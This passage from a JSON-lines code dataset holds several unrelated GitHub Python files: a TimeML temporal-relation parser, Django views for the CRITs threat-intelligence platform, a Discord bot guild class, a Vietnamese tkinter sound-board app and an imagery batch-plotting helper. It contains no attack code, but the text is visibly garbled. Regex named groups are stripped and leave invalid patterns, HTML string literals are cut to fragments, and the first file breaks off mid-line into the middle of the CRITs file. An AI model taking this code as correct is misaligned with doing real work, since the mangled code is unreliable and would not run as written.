1:\n\t\t\t\t\tcontinue\n\t\t\t\te1 = tlink.attrs['eventInstanceID'] if 'eventInstanceID' in tlink.attrs else tlink.attrs['timeID']\n\t\t\t\te2 = tlink.attrs['relatedToEventInstance'] if 'relatedToEventInstance' in tlink.attrs else tlink.attrs['relatedToTime']\n\t\t\t\tsp_e1 = label_to_spans['eiid:'+e1][0] if 'eiid:'+e1 in label_to_spans else label_to_spans['tid:'+e1][0]\n\t\t\t\tsp_e2 = label_to_spans['eiid:'+e2][0] if 'eiid:'+e2 in label_to_spans else label_to_spans['tid:'+e2][0]\n\t\t\t\tif not link_type in label_to_span_pairs:\n\t\t\t\t\tlabel_to_span_pairs[link_type] = []\n\t\t\t\tlabel_to_span_pairs[link_type].append((sp_e1, sp_e2))\n\n\t\t\t\n\t\n\t\t\t# remove possible duplicates:\n\t\t\tfor lab in label_to_span_pairs:\n\t\t\t\tlabel_to_span_pairs[lab] = list(set(label_to_span_pairs[lab]))\n\t\n\t\t\tdoc_id = xmlSoup.find('DOCID').text\t\t\t\n\t\t\ttext = Text(raw_txt, span_annotations=label_to_spans, span_pair_annotations=label_to_span_pairs, id=doc_id,conflate_digits=conflate_digits, pos=pos, lowercase=lowercase)\n\t\t\tdocs.append(text)\n\t\t\tif verbose:\n\t\t\t\tprint(doc_id, '\\tevents:', num_events, 'timex3:',num_timex3, 'tlinks:', num_tlinks)\n\t\ttotal_tlinks += num_tlinks\n\treturn docs\n\ndef simplify_relations(doc, simplification=1):\n\tif simplification == 1: # DURING, DURING_INV, SIMULTANEOUS, IDENTITY --> SIMULTANEOUS\n\t\tconversion = {'DURING':'SIMULTANEOUS', 'IDENTITY':'SIMULTANEOUS', 'ENDED_BY':'INCLUDES', 'ENDS':'IS_INCLUDED', 'BEGUN_BY':'INCLUDES', 'BEGINS':'IS_INCLUDED', 'CONTINUES':'AFTER', 'INITIATES':'IS_INCLUDED', 'TERMINATES':'IS_INCLUDED', 'IBEFORE':'BEFORE','IAFTER':'AFTER'}\n\t\targument_handling = lambda a1,a2 :(a1,a2)\n\telif simplification == 2:\t# CONVERSION to TimeBank Dense Labels (in a similar way as Ning et al., 2017)\n\t\tconversion = {'DURING':'IS_INCLUDED', 'IDENTITY':'SIMULTANEOUS', 'ENDED_BY':'INCLUDES', 'ENDS':'IS_INCLUDED', 'BEGUN_BY':'INCLUDES', 'BEGINS':'IS_INCLUDED', 'CONTINUES':'AFTER', 'INITIATES':'IS_INCLUDED', 'TERMINATES':'IS_INCLUDED', 'IBEFORE':'BEFORE','IAFTER':'AFTER'}\n\t\t#conversion = {'DURING':'IS_INCLUDED',, 'IDENTITY':'SIMULTANEOUS', 'IBEFORE':'BEFORE', 'IAFTER':'AFTER', 'BEGINS':'IS_INCLUDED', 'BEGUN_BY':'INCLUDES', 'ENDS':'IS_INCLUDED', 'ENDED_BY':'INCLUDES'}\t\t\n\t\targument_handling = lambda a1,a2 :(a1,a2)\n\telif simplification == 3: # resolve reverse relations\n\t\tconversion = {'AFTER':'BEFORE', 'IS_INCLUDED':'INCLUDES', 'BEGUN_BY':'BEGINS', 'ENDED_BY':'ENDS', 'IAFTER':'IBEFORE', 'DURING_INV':'DURING'}\t\t\t\t\n\t\targument_handling = lambda a1,a2 :(a2,a1)\n\telif simplification == 4:\n\t\tconversion = {'IDENTITY':'SIMULTANEOUS'}\n\t\targument_handling = lambda a1,a2 :(a1,a2)\t\n\telif simplification == 5: # CATENA Conversion\n\t\tconversion = {'BEGINS':'BEFORE','ENDED_BY':'BEFORE','BEGUN_BY':'AFTER','ENDS':'AFTER','DURING_INV':'SIMULTANEOUS','DURING':'SIMULTANEOUS', 'IDENTITY':'SIMULTANEOUS','CONTINUES':'AFTER', 'INITIATES':'IS_INCLUDED', 'TERMINATES':'IS_INCLUDED', 'IBEFORE':'BEFORE','IAFTER':'AFTER'}\n\t\targument_handling = lambda a1,a2 :(a1,a2)\t\t\t\n\telif simplification == 6: # Ning et al (2017) Conversion\n\t\tconversion = {'DURING':'IS_INCLUDED', 'IDENTITY':'SIMULTANEOUS', 'ENDED_BY':'INCLUDES', 'ENDS':'IS_INCLUDED', 'BEGUN_BY':'INCLUDES', 'BEGINS':'IS_INCLUDED', 'CONTINUES':'AFTER', 'INITIATES':'IS_INCLUDED', 'TERMINATES':'IS_INCLUDED', 'IBEFORE':'BEFORE','IAFTER':'AFTER'}\n\t\targument_handling = lambda a1,a2 :(a1,a2)\t\n\n\t\t\n\tnew_annotations = {}\n\tfor rel_type in doc.span_pair_annotations:\n\t\tif rel_type in conversion:\n\t\t\ttarget_rel_type = conversion[rel_type]\n\t\t\tif target_rel_type in doc.span_pair_annotations:\n\t\t\t\tdoc.span_pair_annotations[target_rel_type] += doc.span_pair_annotations[rel_type]\n\t\t\telse:\n\t\t\t\tnew_annotations[target_rel_type] = doc.span_pair_annotations[rel_type]\n\t\n\tfor rel_type in conversion:\n\t\tif rel_type in doc.span_pair_annotations: \t\n\t\t\tdel doc.span_pair_annotations[rel_type]\n\tfor target_rel_type in conversion.values():\n\t\tif not rel_type in doc.span_pair_annotations and target_rel_type in new_annotations:\n\t\t\tdoc.span_pair_annotations[target_rel_type] = new_annotations[target_rel_type]\t\t\n\t\t\t\n\tdoc.reverse_span_pair_annotations = reverse_dict_list(doc.span_pair_annotations)\t\t\t\n\treturn doc\t\t\n\n\n\n\n\n\ndef get_normalized_values(doc):\n\traw_values = doc.get_span_labels_by_regex('value:\\d\\d\\d\\d*')\n\tnormalized_values = {}\n\tfor raw_value in raw_values:\n\t\t\n\t\t# normalized format: year-quarter-month-weeknr-day-time\n\t\t\n\t\tmonth_to_quarter = {'01':'1', '02':'1', '03':'1', '04':'2', '05':'2', '06':'2', '07':'3', '08':'3', '09':'3', '10':'4', '11':'4', '12':'4', }\n\t\t\n\t\tnormalized = ''\n\n\t\t\n\t\n\t\tyearmatch = re.search(r'value:(?P\\d\\d\\d\\d)$', raw_value)\n\t\tmonthmatch = re.search(r'value:(?P\\d\\d\\d\\d)-(?P\\d\\d)$', raw_value)\n\t\tdatematch = re.search(r'value:(?P\\d\\d\\d\\d)-(?P\\d\\d)-(?P\\d\\d)$', raw_value)\n\t\tquartermatch = re.search(r'value:(?P\\d\\d\\d\\d)-Q(?P\\d)$', raw_value)\n\t\ttimematch = re.search(r'value:(?P\\d\\d\\d\\d)-(?P\\d\\d)-(?P\\d\\d)(?P
') %\n (reverse('crits.indicators.views.indicator',\n args=[result['objectid']]),\n reverse('crits.indicators.views.indicators_listing')))\n\n if result.get('is_new_indicator', False) == False:\n message = {'message': ('
Warning: Updated existing'\n ' Indicator!' + indicator_link)}\n else:\n message = {'message': ('
Indicator added '\n 'successfully!' + indicator_link)}\n else:\n failed_msg = result['message'] + ' - '\n\n if result == None or not result['success']:\n failed_msg += (' Go to all indicators
'\n % reverse('crits.indicators.views.indicators_listing'))\n message = {'message': failed_msg, 'form': form.as_table()}\n elif result != None:\n message['success'] = result['success']\n\n if request.is_ajax():\n return HttpResponse(json.dumps(message),\n mimetype=\"application/json\")\n else: #file upload\n return render_to_response('file_upload_response.html',\n {'response': json.dumps(message)},\n RequestContext(request))\n\n@user_passes_test(user_can_view_data)\ndef add_update_action(request, method, indicator_id):\n \"\"\"\n Add/update an indicator's action. Should be an AJAX POST.\n\n :param request: Django request object (Required)\n :type request: :class:`django.http.HttpRequest`\n :param method: Whether we are adding or updating.\n :type method: str (\"add\", \"update\")\n :param indicator_id: The ObjectId of the indicator to update.\n :type indicator_id: str\n :returns: :class:`django.http.HttpResponse`\n \"\"\"\n\n if request.method == \"POST\" and request.is_ajax():\n username = request.user.username\n form = IndicatorActionsForm(request.POST)\n if form.is_valid():\n data = form.cleaned_data\n add = {\n 'action_type': data['action_type'],\n 'begin_date': data['begin_date'] if data['begin_date'] else '',\n 'end_date': data['end_date'] if data['end_date'] else '',\n 'performed_date': data['performed_date'] if data['performed_date'] else '',\n 'active': data['active'],\n 'reason': data['reason'],\n 'analyst': username,\n }\n if method == \"add\":\n add['date'] = datetime.datetime.now()\n result = action_add(indicator_id, add)\n else:\n date = datetime.datetime.strptime(data['date'],\n settings.PY_DATETIME_FORMAT)\n date = date.replace(microsecond=date.microsecond/1000*1000)\n add['date'] = date\n result = action_update(indicator_id, add)\n if 'object' in result:\n result['html'] = render_to_string('indicators_action_row_widget.html',\n {'action': result['object'],\n 'admin': is_admin(username),\n 'indicator_id': indicator_id})\n return HttpResponse(json.dumps(result,\n default=json_handler),\n mimetype='application/json')\n else: #invalid form\n return HttpResponse(json.dumps({'success': False,\n 'form': form.as_table()}),\n mimetype='application/json')\n return HttpResponse({})\n\n@user_passes_test(user_can_view_data)\ndef remove_action(request, indicator_id):\n \"\"\"\n Remove an indicator's action. Should be an AJAX POST.\n\n :param request: Django request object (Required)\n :type request: :class:`django.http.HttpRequest`\n :param indicator_id: The ObjectId of the indicator to update.\n :type indicator_id: str\n :returns: :class:`django.http.HttpResponse`\n \"\"\"\n\n if request.method == \"POST\" and request.is_ajax():\n analyst = request.user.username\n if is_admin(analyst):\n date = datetime.datetime.strptime(request.POST['key'],\n settings.PY_DATETIME_FORMAT)\n date = date.replace(microsecond=date.microsecond/1000*1000)\n result = action_remove(indicator_id, date, analyst)\n return HttpResponse(json.dumps(result),\n mimetype=\"application/json\")\n else:\n error = \"You do not have permission to remove this item.\"\n return render_to_response(\"error.html\",\n {'error': error},\n RequestContext(request))\n return HttpResponse({})\n\n@user_passes_test(user_can_view_data)\ndef add_update_activity(request, method, indicator_id):\n \"\"\"\n Add/update an indicator's activity. Should be an AJAX POST.\n\n :param request: Django request object (Required)\n :type request: :class:`django.http.HttpRequest`\n :param method: Whether we are adding or updating.\n :type method: str (\"add\", \"update\")\n :param indicator_id: The ObjectId of the indicator to update.\n :type indicator_id: str\n :returns: :class:`django.http.HttpResponse`\n \"\"\"\n\n if request.method == \"POST\" and request.is_ajax():\n username = request.user.username\n form = IndicatorActivityForm(request.POST)\n if form.is_valid():\n data = form.cleaned_data\n add = {\n 'start_date': data['start_date'] if data['start_date'] else '',\n 'end_date': data['end_date'] if data['end_date'] else '',\n 'description': data['description'],\n 'analyst': username,\n }\n if method == \"add\":\n add['date'] = datetime.datetime.now()\n result = activity_add(indicator_id, add)\n else:\n date = datetime.datetime.strptime(data['date'],\n settings.PY_DATETIME_FORMAT)\n date = date.replace(microsecond=date.microsecond/1000*1000)\n add['date'] = date\n result = activity_update(indicator_id, add)\n if 'object' in result:\n result['html'] = render_to_string('indicators_activity_row_widget.html',\n {'activity': result['object'],\n 'admin': is_admin(username),\n 'indicator_id': indicator_id})\n return HttpResponse(json.dumps(result, default=json_handler),\n mimetype='application/json')\n else: #invalid form\n return HttpResponse(json.dumps({'success': False,\n 'form': form.as_table()}),\n mimetype='application/json')\n return HttpResponse({})\n\n@user_passes_test(user_can_view_data)\ndef remove_activity(request, indicator_id):\n \"\"\"\n Remove an indicator's activity. Should be an AJAX POST.\n\n :param request: Django request object (Required)\n :type request: :class:`django.http.HttpRequest`\n :param indicator_id: The ObjectId of the indicator to update.\n :type indicator_id: str\n :returns: :class:`django.http.HttpResponse`\n \"\"\"\n\n if request.method == \"POST\" and request.is_ajax():\n analyst = request.user.username\n if is_admin(analyst):\n date = datetime.datetime.strptime(request.POST['key'],\n settings.PY_DATETIME_FORMAT)\n date = date.replace(microsecond=date.microsecond/1000*1000)\n result = activity_remove(indicator_id, date, analyst)\n return HttpResponse(json.dumps(result),\n mimetype=\"application/json\")\n else:\n error = \"You do not have permission to remove this item.\"\n return render_to_response(\"error.html\",\n {'error': error},\n RequestContext(request))\n\n@user_passes_test(user_can_view_data)\ndef update_ci(request, indicator_id, ci_type):\n \"\"\"\n Update an indicator's confidence/impact. Should be an AJAX POST.\n\n :param request: Django request object (Required)\n :type request: :class:`django.http.HttpRequest`\n :param indicator_id: The ObjectId of the indicator to update.\n :type indicator_id: str\n :param ci_type: Whether we are updating confidence or impact.\n :type ci_type: str (\"confidence\", \"impact\")\n :returns: :class:`django.http.HttpResponse`\n \"\"\"\n\n if request.method == \"POST\" and request.is_ajax():\n value = request.POST['value']\n analyst = request.user.username\n return HttpResponse(json.dumps(ci_update(indicator_id,\n ci_type,\n value,\n analyst)),\n mimetype=\"application/json\")\n\n@user_passes_test(user_can_view_data)\ndef indicator_and_ip(request):\n \"\"\"\n Create an Indicator and IP. Should be an AJAX POST.\n\n :param request: Django request object (Required)\n :type request: :class:`django.http.HttpRequest`\n :returns: :class:`django.http.HttpResponse`\n \"\"\"\n\n if request.method == \"POST\" and request.is_ajax():\n type_ = None\n id_ = None\n ip = None\n if 'type' in request.POST:\n type_ = request.POST['type']\n if 'oid' in request.POST:\n id_ = request.POST['oid']\n if 'ip' in request.POST:\n ip = request.POST['ip']\n if not type_ or not id_ or not ip:\n result = {'success': False,\n 'message': \"Need type, oid, and ip\"}\n else:\n result = create_indicator_and_ip(type_,\n id_,\n ip,\n request.user.username)\n if result['success']:\n relationship = {'type': type_,\n 'value': result['value']}\n message = render_to_string('relationships_listing_widget.html',\n {'relationships': result['message'],\n 'relationship': relationship},\n RequestContext(request))\n result = {'success': True, 'message': message}\n else:\n result = {\n 'success': False,\n 'message': \"Error adding relationship: %s\" % result['message'],\n }\n else:\n result = {\n 'success': False,\n 'message': \"Expected AJAX POST\",\n }\n return HttpResponse(json.dumps(result), mimetype=\"application/json\")\n\n@user_passes_test(user_can_view_data)\ndef indicator_from_tlo(request):\n \"\"\"\n Create an Indicator from an Top-Level Object. Should be an AJAX POST.\n\n :param request: Django request object (Required)\n :type request: :class:`django.http.HttpRequest`\n :returns: :class:`django.http.HttpResponse`\n \"\"\"\n\n if request.method == \"POST\" and request.is_ajax():\n ind_type = request.POST.get('ind_type', None)\n tlo_type = request.POST.get('obj_type', None)\n tlo_id = request.POST.get('oid', None)\n value = request.POST.get('value', None)\n source = request.POST.get('source', None)\n if not ind_type or not tlo_type or not tlo_id or not value:\n result = {'success': False,\n 'message': \"Need indicator type, tlo type,\"\n \"oid, value, and source.\"}\n else:\n result = create_indicator_from_tlo(tlo_type,\n None,\n request.user.username,\n source,\n tlo_id,\n ind_type,\n value)\n if result['success']:\n relationship = {'type': ind_type,\n 'value': result['value']}\n message = render_to_string('relationships_listing_widget.html',\n {'relationships': result['message'],\n 'relationship': relationship},\n RequestContext(request))\n result = {'success': True, 'message': message}\n else:\n result = {\n 'success': False,\n 'message': \"Error adding relationship: %s\" % result['message']\n }\n else:\n result = {\n 'success': False,\n 'message': \"Expected AJAX POST\"\n }\n return HttpResponse(json.dumps(result), mimetype=\"application/json\")\n\n@user_passes_test(user_can_view_data)\ndef get_indicator_type_dropdown(request):\n \"\"\"\n Get Indicator type dropdown data. Should be an AJAX POST.\n\n :param request: Django request object (Required)\n :type request: :class:`django.http.HttpRequest`\n :returns: :class:`django.http.HttpResponse`\n \"\"\"\n\n if request.method == 'POST':\n if request.is_ajax():\n dd_final = {}\n list_type = request.POST.get('type', None)\n if list_type == 'indicator_type':\n type_list = IndicatorTypes.values(sort=True)\n elif list_type == 'threat_type':\n type_list = IndicatorThreatTypes.values(sort=True)\n elif list_type == 'attack_type':\n type_list = IndicatorAttackTypes.values(sort=True)\n else:\n type_list = []\n for type_ in type_list:\n dd_final[type_] = type_\n result = {'types': dd_final}\n return HttpResponse(json.dumps(result), mimetype=\"application/json\")\n else:\n error = \"Expected AJAX\"\n return render_to_response(\"error.html\",\n {\"error\" : error },\n RequestContext(request))\n else:\n error = \"Expected POST\"\n return render_to_response(\"error.html\",\n {\"error\" : error },\n RequestContext(request))\n\n@user_passes_test(user_can_view_data)\ndef update_indicator_type(request, indicator_id):\n \"\"\"\n Update an indicator's type. Should be an AJAX POST.\n\n :param request: Django request object (Required)\n :type request: :class:`django.http.HttpRequest`\n :param indicator_id: The ObjectId of the indicator to update.\n :type indicator_id: str\n :returns: :class:`django.http.HttpResponse`\n \"\"\"\n\n if request.method == \"POST\" and request.is_ajax():\n if 'type' in request.POST and len(request.POST['type']) > 0:\n result = set_indicator_type(indicator_id,\n request.POST['type'],\n '%s' % request.user.username)\n if result['success']:\n message = {'success': True}\n else:\n message = {'success': False}\n else:\n message = {'success': False}\n return HttpResponse(json.dumps(message),\n mimetype=\"application/json\")\n else:\n error = \"Expected AJAX POST\"\n return render_to_response(\"error.html\",\n {\"error\": error},\n RequestContext(request))\n\n@user_passes_test(user_can_view_data)\ndef update_indicator_threat_type(request, indicator_id):\n \"\"\"\n Update an indicator's threat type. Should be an AJAX POST.\n\n :param request: Django request object (Required)\n :type request: :class:`django.http.HttpRequest`\n :param indicator_id: The ObjectId of the indicator to update.\n :type indicator_id: str\n :returns: :class:`django.http.HttpResponse`\n \"\"\"\n\n if request.method == \"POST\" and request.is_ajax():\n if 'type' in request.POST and len(request.POST['type']) > 0:\n result = set_indicator_threat_type(indicator_id,\n request.POST['type'],\n '%s' % request.user.username)\n if result['success']:\n message = {'success': True}\n else:\n message = {'success': False}\n else:\n message = {'success': False}\n return HttpResponse(json.dumps(message),\n mimetype=\"application/json\")\n else:\n error = \"Expected AJAX POST\"\n return render_to_response(\"error.html\",\n {\"error\": error},\n RequestContext(request))\n\n@user_passes_test(user_can_view_data)\ndef update_indicator_attack_type(request, indicator_id):\n \"\"\"\n Update an indicator's attack type. Should be an AJAX POST.\n\n :param request: Django request object (Required)\n :type request: :class:`django.http.HttpRequest`\n :param indicator_id: The ObjectId of the indicator to update.\n :type indicator_id: str\n :returns: :class:`django.http.HttpResponse`\n \"\"\"\n\n if request.method == \"POST\" and request.is_ajax():\n if 'type' in request.POST and len(request.POST['type']) > 0:\n result = set_indicator_attack_type(indicator_id,\n request.POST['type'],\n '%s' % request.user.username)\n if result['success']:\n message = {'success': True}\n else:\n message = {'success': False}\n else:\n message = {'success': False}\n return HttpResponse(json.dumps(message),\n mimetype=\"application/json\")\n else:\n error = \"Expected AJAX POST\"\n return render_to_response(\"error.html\",\n {\"error\": error},\n RequestContext(request))\n","repo_name":"cfossace/test","sub_path":"crits/indicators/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":26642,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"40"} +{"seq_id":"25158188193","text":"import logging\nimport discord\nfrom datetime import datetime, timezone\nfrom typing import List\nfrom discord import flags\nfrom hourai import utils\nfrom hourai.db import proto\nfrom hourai.utils.fake import FakeContextManager\n\n\nlogger = logging.getLogger(__name__)\n\n\n@flags.fill_with_flags()\nclass Permissions(flags.BaseFlags):\n\n def __init__(self, permissions=0, **kwargs):\n if not isinstance(permissions, int):\n raise TypeError('Expected int parameter, received %s instead.' %\n permissions.__class__.__name__)\n\n self.value = permissions\n super().__init__(**kwargs)\n\n @flags.flag_value\n def self_serve(self) -> int:\n return 1 << 0\n\n @flags.flag_value\n def is_dj(self) -> int:\n return 1 << 1\n\n @flags.flag_value\n def moderator(self) -> int:\n return 1 << 2\n\n\nclass ModlogMessageable():\n\n def __init__(self, guild, config):\n assert guild is not None\n self.guild = guild\n self.config = config\n\n async def send(self, *args, **kwargs):\n try:\n modlog = self.__get_modlog_channel()\n if modlog is not None:\n return await modlog.send(*args, **kwargs)\n except discord.Forbidden:\n content = (\"Oops! A message for the modlog in `{}` failed to \"\n \"send! Please make sure the bot can write to a modlog \"\n \"channel properly!\")\n content = content.format(self.guild.name)\n await self.guild.owner.send(content)\n return None\n\n def typing(self):\n modlog = self.__get_modlog_channel()\n return modlog.typing() if modlog is not None else FakeContextManager()\n\n async def trigger_typing(self):\n modlog = self.__get_modlog_channel()\n if modlog is not None:\n await modlog.trigger_typing()\n\n async def fetch_message(self, id):\n modlog = self.__get_modlog_channel()\n if modlog is not None:\n return await modlog.fetch_message(id)\n else:\n raise discord.NotFound()\n\n async def pins(self):\n modlog = self.__get_modlog_channel()\n return [] if modlog is None else await modlog.pins()\n\n def history(self):\n # TODO(james7132): Likely won't be called, but this will fail if no\n # modlog is found or set. Fix this\n return self.__get_modlog_channel().history()\n\n def __get_modlog_channel(self):\n if not self.config.HasField('modlog_channel_id'):\n return None\n return self.guild.get_channel(self.config.modlog_channel_id)\n\n\nclass InviteCache:\n\n \"\"\"An in-memory cache of the invites for a given guild\"\"\"\n __slots__ = ('_guild', '_cache', 'vanity_invite')\n\n def __init__(self, guild):\n assert guild is not None\n self._guild = guild\n self.vanity_invite = None\n self._cache = {}\n\n async def fetch(self) -> dict:\n \"\"\"Fetches the remote state of all invites in the guild. This includes\n the vanity invite, if available.\n \"\"\"\n if not self._guild.me.guild_permissions.manage_guild:\n return {}\n\n invites = await self._guild.invites()\n\n try:\n if \"VANITY_URL\" in self._guild.features:\n self.vanity_invite = await self._guild.vanity_invite()\n invites.append(self.vanity_invite)\n else:\n self.vanity_invite = None\n except discord.NotFound:\n # Sometimes VANITY_URL is set but there is no invite\n self.vanity_invite = None\n\n return {inv.code: inv for inv in invites}\n\n def diff(self, updated: dict) -> list:\n \"\"\"Diffs the internal state of the cache and pulls out the differing\n elements.\n \"\"\"\n keys = set(self._cache.keys()) & set(updated.keys())\n return [updated[k] for k in keys\n if self._cache[k].uses != updated[k].uses]\n\n def update(self, values: dict) -> None:\n \"\"\"Updates the cache with a dict of values.\"\"\"\n self._cache = values\n\n async def refresh(self) -> None:\n \"\"\"Fetches the remote state of all invites in the guild and updates the\n cache with the results.\n\n Shorthand for update(await fetch()).\n \"\"\"\n self.update(await self.fetch())\n\n def add(self, invite: discord.Invite) -> None:\n \"\"\"Adds a new invite to the cache.\"\"\"\n self._cache[invite.code] = invite\n\n def remove(self, invite: discord.Invite) -> None:\n \"\"\"Removes an invite to the cache.\"\"\"\n try:\n del self._cache[invite.code]\n except KeyError:\n pass\n\n\nclass HouraiGuild(discord.Guild):\n\n __slots__ = ('config', 'invites')\n\n def __init__(self, *, data, state):\n super().__init__(data=data, state=state)\n self.config = proto.GuildConfig()\n\n # Ephemeral state associated with a Discord guild. Lost on bot restart.\n self.invites = InviteCache(super())\n\n @property\n def storage(self):\n return self._state.storage\n\n @property\n def modlog(self):\n \"\"\"Creates a discord.abc.Messageable compatible object corresponding to\n the server's modlog.\n \"\"\"\n return ModlogMessageable(self, self.config.logging)\n\n @property\n def is_locked_down(self):\n if not self.config.verification.HasField('lockdown_expiration'):\n return False\n expiration = datetime.fromtimestamp(\n self.config.verification.lockdown_expiration)\n return datetime.utcnow() <= expiration\n\n @property\n def verification_role(self):\n if not self.config.verification.HasField('role_id'):\n return None\n return self.get_role(self.config.verification.role_id)\n\n def should_cache_member(self, member):\n # Cache if the member is:\n # - A moderator\n # - Is the bot user\n # - Is a member pending verification\n return utils.is_moderator(member) or \\\n member.id == member._state.user.id or \\\n member.pending\n\n def _add_member(self, member, force=False):\n if member is not None and force or self.should_cache_member(member):\n super()._add_member(member)\n\n async def destroy(self):\n await self.storage.guild_configs.clear(self.id)\n\n async def refresh_config(self):\n self.config = await self.storage.guild_configs.get(self.id)\n logger.info(f'Loaded config for guild {self.id}')\n\n async def flush_config(self):\n if self.unavailable:\n await self.refresh_config()\n else:\n await self.storage.guild_configs.set(self.id, self.config)\n logger.info(f'Saved config for guild {self.id}')\n\n async def set_lockdown(self, expiration=datetime.max):\n self.config.verification.lockdown_expiration = \\\n int(expiration.replace(tzinfo=timezone.utc).timestamp())\n await self.flush_config()\n\n async def clear_lockdown(self):\n self.config.ClearField('lockdown_expiration')\n await self.flush_config()\n\n def get_role_permissions(self, role: discord.Role) -> Permissions:\n return Permissions(self.config.role.settings[role.id].permissions)\n\n def get_member_permissions(\n self, member: discord.Member) -> Permissions:\n permissions = 0\n for role_id in member._roles:\n permissions = self.config.role.settings[role_id].permissions\n return Permissions(permissions)\n\n def find_moderators(self) -> List[discord.Member]:\n settings = self.config.role.settings\n mod_roles = (self.get_role(role_id)\n for role_id, setting in settings.items()\n if Permissions(settings.permissions).moderator)\n mod_roles = [role for role in mod_roles if role is not None]\n if not mod_roles:\n return utils.find_moderator(self)\n return list(utils.all_with_roles(self.members, mod_roles))\n\n async def set_modlog_channel(self, channel):\n \"\"\"Sets the modlog channel to a certain channel. If channel is none, it\n clears it from the config.\n \"\"\"\n assert channel is None or channel.guild.id == self.id\n if channel is None:\n self.config.logging.ClearField('modlog_channel_id')\n else:\n self.config.logging.modlog_channel_id = channel.id\n await self.flush_config()\n","repo_name":"james7132/Hourai","sub_path":"base/hourai/bot/guild.py","file_name":"guild.py","file_ext":"py","file_size_in_byte":8434,"program_lang":"python","lang":"en","doc_type":"code","stars":45,"dataset":"github-code","pt":"40"} +{"seq_id":"5276887839","text":"from tkinter import *\r\nfrom PIL import Image,ImageTk\r\nfrom pygame import mixer\r\nmixer.init()\r\n\r\nwindow = Tk()\r\nwindow.geometry(\"890x400\")\r\nwindow.title(\"Hải App\")\r\nbackground = Image.open('ngan.jpg')\r\nbackground = background.resize((280,404))\r\nbackground_load = ImageTk.PhotoImage(background)\r\n\r\nhai5 = Image.open(\"hai1.jpg\")\r\nhai5 = hai5.resize((389,400))\r\nhai_load5 = ImageTk.PhotoImage(hai5)\r\nhai_screen5 = Label(window,image = hai_load5)\r\nhai_screen5.place(x=570,y=0)\r\n\r\ndef submit():\r\n if listbox.get(listbox.curselection()) == \"Chào Hải nhá\":\r\n file = \"chao.ogg\"\r\n mixer.music.load(file)\r\n mixer.music.play(loops=0)\r\n elif listbox.get(listbox.curselection()) == \"Em sắp thi rồi nè huhu\":\r\n file = \"thi.ogg\"\r\n mixer.music.load(file)\r\n mixer.music.play(loops=0)\r\n elif listbox.get(listbox.curselection()) == \"Hải đi giáng sinh không\":\r\n file = \"giangsinh_1.ogg\"\r\n mixer.music.load(file)\r\n mixer.music.play(loops=0)\r\n elif listbox.get(listbox.curselection()) == \"Hải Yêu Ngân Không\":\r\n file = \"yeu.ogg\"\r\n mixer.music.load(file)\r\n mixer.music.play(loops=0)\r\n elif listbox.get(listbox.curselection()) == \"Hải thấy Ngân xinh không?\":\r\n file = \"dep.ogg\"\r\n mixer.music.load(file)\r\n mixer.music.play(loops=0)\r\n else:\r\n pass\r\n\r\nbackground_screen = Label(window,image=background_load).place(x=0,y=0) \r\nlistbox = Listbox(window,font = (\"Arial\",21),width=20,height=20) \r\nlistbox.pack(anchor=CENTER,pady=0)\r\n\r\nlistbox.insert(1,\"Chào Hải nhá\")\r\nlistbox.insert(2,\"Em sắp thi rồi nè huhu\")\r\nlistbox.insert(3,\"Hải đi giáng sinh không\")\r\nlistbox.insert(4,\"Hải Yêu Ngân Không\")\r\nlistbox.insert(5,\"Hải thấy Ngân xinh không?\")\r\n\r\nsubmit_button = Button(window,text=\"submit\",command=submit)\r\nsubmit_button.place(x= 420,y=300)\r\n\r\nwindow.mainloop()\r\n","repo_name":"Hailu03/test","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1913,"program_lang":"python","lang":"vi","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"33446210068","text":"import torch\nimport matplotlib.pyplot as plt\nimport math\nfrom .common import get_nbatches\n\ndef show_batch_labeled_tiles(self, rows=3, **kwargs): # parameters adjusted in kwargs \n nrows = rows\n ncols = kwargs.get('ncols', nrows)\n #start_index = kwargs.get('start_index', 0) # Does not work with dataloader\n \n n_items = kwargs.get('n_items', nrows*ncols)\n n_items = min(n_items, len(self.x))\n nrows = math.ceil(n_items/ncols)\n\n type_data_loader = kwargs.get('data_loader', 'training') # options : traininig, validation, testing\n if type_data_loader == 'training':\n data_loader = self.train_dl\n elif type_data_loader == 'validation':\n data_loader = self.valid_dl\n elif type_data_loader == 'testing':\n data_loader = self.test_dl\n else:\n e = Exception(f'could not find {type_data_loader} in data. Please ensure that the data loader type is traininig, validation or testing ')\n raise(e)\n\n rgb_bands = kwargs.get('rgb_bands', self._symbology_rgb_bands)\n nodata = kwargs.get('nodata', 0)\n imsize = kwargs.get('imsize', 5)\n statistics_type = kwargs.get('statistics_type', 'dataset') # Accepted Values `dataset`, `DRA`\n\n e = Exception('`rgb_bands` should be a valid band_order, list or tuple of length 3 or 1.')\n symbology_bands = []\n if not ( len(rgb_bands) == 3 or len(rgb_bands) == 1 ):\n raise(e)\n for b in rgb_bands:\n if type(b) == str:\n b_index = self._bands.index(b)\n elif type(b) == int:\n self._bands[b] # To check if the band index specified by the user really exists.\n b_index = b\n else:\n raise(e)\n b_index = self._extract_bands.index(b_index)\n symbology_bands.append(b_index)\n\n # Get Batch\n x_batch, y_batch = get_nbatches(data_loader, n_items)\n x_batch = torch.cat(x_batch)\n # Denormalize X\n x_batch = (self._scaled_std_values[self._extract_bands].view(1, -1, 1, 1).to(x_batch) * x_batch ) + self._scaled_mean_values[self._extract_bands].view(1, -1, 1, 1).to(x_batch)\n y_batch = torch.cat(y_batch)\n\n # Extract RGB Bands\n symbology_x_batch = x_batch[:, symbology_bands]\n if statistics_type == 'DRA':\n shp = symbology_x_batch.shape\n min_vals = symbology_x_batch.view(shp[0], shp[1], -1).min(dim=2)[0]\n max_vals = symbology_x_batch.view(shp[0], shp[1], -1).max(dim=2)[0]\n symbology_x_batch = symbology_x_batch / ( max_vals.view(shp[0], shp[1], 1, 1) - min_vals.view(shp[0], shp[1], 1, 1) + .001 )\n\n # Channel first to channel last and clamp float values to range 0 - 1 for plotting\n symbology_x_batch = symbology_x_batch.permute(0, 2, 3, 1)\n # Clamp float values to range 0 - 1\n if symbology_x_batch.mean() < 1:\n symbology_x_batch = symbology_x_batch.clamp(0, 1)\n\n # Squeeze channels if single channel (1, 224, 224) -> (224, 224)\n if symbology_x_batch.shape[-1] == 1:\n symbology_x_batch = symbology_x_batch.squeeze()\n\n # Get color Array\n color_array = self._multispectral_color_array\n\n # Size for plotting\n fig, axs = 